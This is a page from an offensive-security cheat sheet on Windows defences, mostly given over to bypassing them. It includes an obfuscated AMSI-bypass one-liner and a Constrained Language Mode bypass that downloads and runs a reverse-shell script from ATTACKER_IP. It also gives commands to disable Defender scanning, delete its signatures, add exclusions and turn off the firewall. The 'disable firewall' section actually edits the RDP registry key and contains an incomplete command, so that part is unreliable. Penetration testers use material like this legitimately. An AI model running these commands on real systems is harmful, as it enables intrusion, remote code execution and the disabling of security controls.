PayloadsAllTheThings/Methodology and Resources/Windows - Defenses.md

Windows - Defenses

Summary

• AppLocker
• DPAPI
• Powershell
  • Anti Malware Scan Interface
  • Just Enough Administration
  • Contrained Language Mode
  • Script Block Logging
• Windows Defender Antivirus
• Windows Defender Application Control
• Windows Defender Firewall

AppLocker

AppLocker is a security feature in Microsoft Windows that provides administrators with the ability to control which applications and files users are allowed to run on their systems. The rules can be based on various criteria, such as the file path, file publisher, or file hash, and can be applied to specific users or groups.

• Enumerate Local AppLocker Effective Policy

  PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
  PowerView PS C:\> Get-AppLockerPolicy -effective -xml
  Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe # (Keys: Appx, Dll, Exe, Msi and Script
  

• AppLocker Bypass

  • By default, C:\Windows is not blocked, and C:\Windows\Tasks is writtable by any users
  • api0cradle/UltimateAppLockerByPassList/Generic-AppLockerbypasses.md
  • api0cradle/UltimateAppLockerByPassList/VerifiedAppLockerBypasses.md
  • api0cradle/UltimateAppLockerByPassList/DLL-Execution.md

DPAPI

Refer to PayloadsAllTheThings/Windows - DPAPI.md

Powershell

Anti Malware Scan Interface

The Anti-Malware Scan Interface (AMSI) is a Windows API (Application Programming Interface) that provides a unified interface for applications and services to integrate with any anti-malware product installed on a system. The API allows anti-malware solutions to scan files and scripts at runtime, and provides a means for applications to request a scan of specific content.

Find more AMSI bypass: Windows - AMSI Bypass.md

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

Just Enough Administration

Just-Enough-Administration (JEA) is a feature in Microsoft Windows Server that allows administrators to delegate specific administrative tasks to non-administrative users. JEA provides a secure and controlled way to grant limited, just-enough access to systems, while ensuring that the user cannot perform unintended actions or access sensitive information.

Breaking out if JEA:

• List available cmdlets: command
• Look for non-default cmdlets:

  Set-PSSessionConfiguration
  Start-Process
  New-Service
  Add-Computer
  

Constrained Language Mode

Check if we are in a constrained mode: $ExecutionContext.SessionState.LanguageMode

• Bypass using an old Powershell. Powershell v2 doesn't support CLM.

  powershell.exe -version 2
  powershell.exe -version 2 -ExecutionPolicy bypass
  powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"
  

• Bypass when __PSLockDownPolicy is used. Just put "System32" somewhere in the path.

  # Enable CLM from the environment
  [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
  Get-ChildItem -Path Env:
  
  # Create a check-mode.ps1 containing your "evil" powershell commands
  $mode = $ExecutionContext.SessionState.LanguageMode
  write-host $mode
  
  # Simple bypass, execute inside a System32 folder
  PS C:\> C:\Users\Public\check-mode.ps1
  ConstrainedLanguage
  
  PS C:\> C:\Users\Public\System32\check-mode.ps1
  FullLanguagge
  

• Bypass using COM: xpn/COM_to_registry.ps1

• Bypass using your own Powershell DLL: p3nt4/PowerShdll & iomoath/PowerShx

  rundll32 PowerShdll,main <script>
  rundll32 PowerShdll,main -h      Display this message
  rundll32 PowerShdll,main -f <path>       Run the script passed as argument
  rundll32 PowerShdll,main -w      Start an interactive console in a new window (Default)
  rundll32 PowerShdll,main -i      Start an interactive console in this console
  
  rundll32 PowerShx.dll,main -e                           <PS script to run>
  rundll32 PowerShx.dll,main -f <path>                    Run the script passed as argument
  rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     Load a script and run a PS cmdlet
  rundll32 PowerShx.dll,main -w                           Start an interactive console in a new window
  rundll32 PowerShx.dll,main -i                           Start an interactive console
  rundll32 PowerShx.dll,main -s                           Attempt to bypass AMSI
  rundll32 PowerShx.dll,main -v                           Print Execution Output to the console
  

Script Block Logging

Once Script Block Logging is enabled, the script blocks and commands that are executed will be recorded in the Windows event log under the "Windows PowerShell" channel. To view the logs, administrators can use the Event Viewer application and navigate to the "Windows PowerShell" channel.

Enable Script Block Loggin:

function Enable-PSScriptBlockLogging
{
    $basePath = 'HKLM:\Software\Policies\Microsoft\Windows' +
      '\PowerShell\ScriptBlockLogging'

    if(-not (Test-Path $basePath))
    {
        $null = New-Item $basePath -Force
    }

    Set-ItemProperty $basePath -Name EnableScriptBlockLogging -Value "1"
}

Windows Defender Antivirus

Also known as Microsoft Defender.

# check status of Defender
PS C:\> Get-MpComputerStatus

# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1 

# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"

# remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Windows Defender Application Control

Also known as WDAC/UMCI/Device Guard.

Windows Defender Application Guard, formerly known as Device Guard has the power to control if an application may or may not be executed on a Windows device. WDAC will prevent the execution, running, and loading of unwanted or malicious code, drivers, and scripts. WDAC does not trust any software it does not know of.

• Get WDAC current mode

  $ Get-ComputerInfo
  DeviceGuardCodeIntegrityPolicyEnforcementStatus         : EnforcementMode
  DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus : EnforcementMode
  

• Device Guard policy location: C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{PolicyId GUID}.cip

• Device Guard example policies: C:\Windows\System32\CodeIntegrity\ExamplePolicies\

• WDAC bypass techniques: bohops/UltimateWDACBypassList

• WDAC utilities: mattifestation/WDACTools, a PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies

Windows Defender Firewall

• List firewall state and current configuration

  netsh advfirewall firewall dump
  # or 
  netsh firewall show state
  netsh firewall show config
  

• List firewall's blocked ports

  $f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports
  

• Disable firewall

  # Disable Firewall via cmd
  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"  /v fDenyTSConnections /t REG_DWORD /d 0 /f
  
  # Disable Firewall via Powershell
  powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`
  
  # Disable Firewall on any windows using native command
  netsh firewall set opmode disable
  netsh Advfirewall set allprofiles state off
  

References

• SNEAKING PAST DEVICE GUARD - Cybereason - Philip Tsukerman
• PowerShell about_Logging_Windows - Microsoft Documentation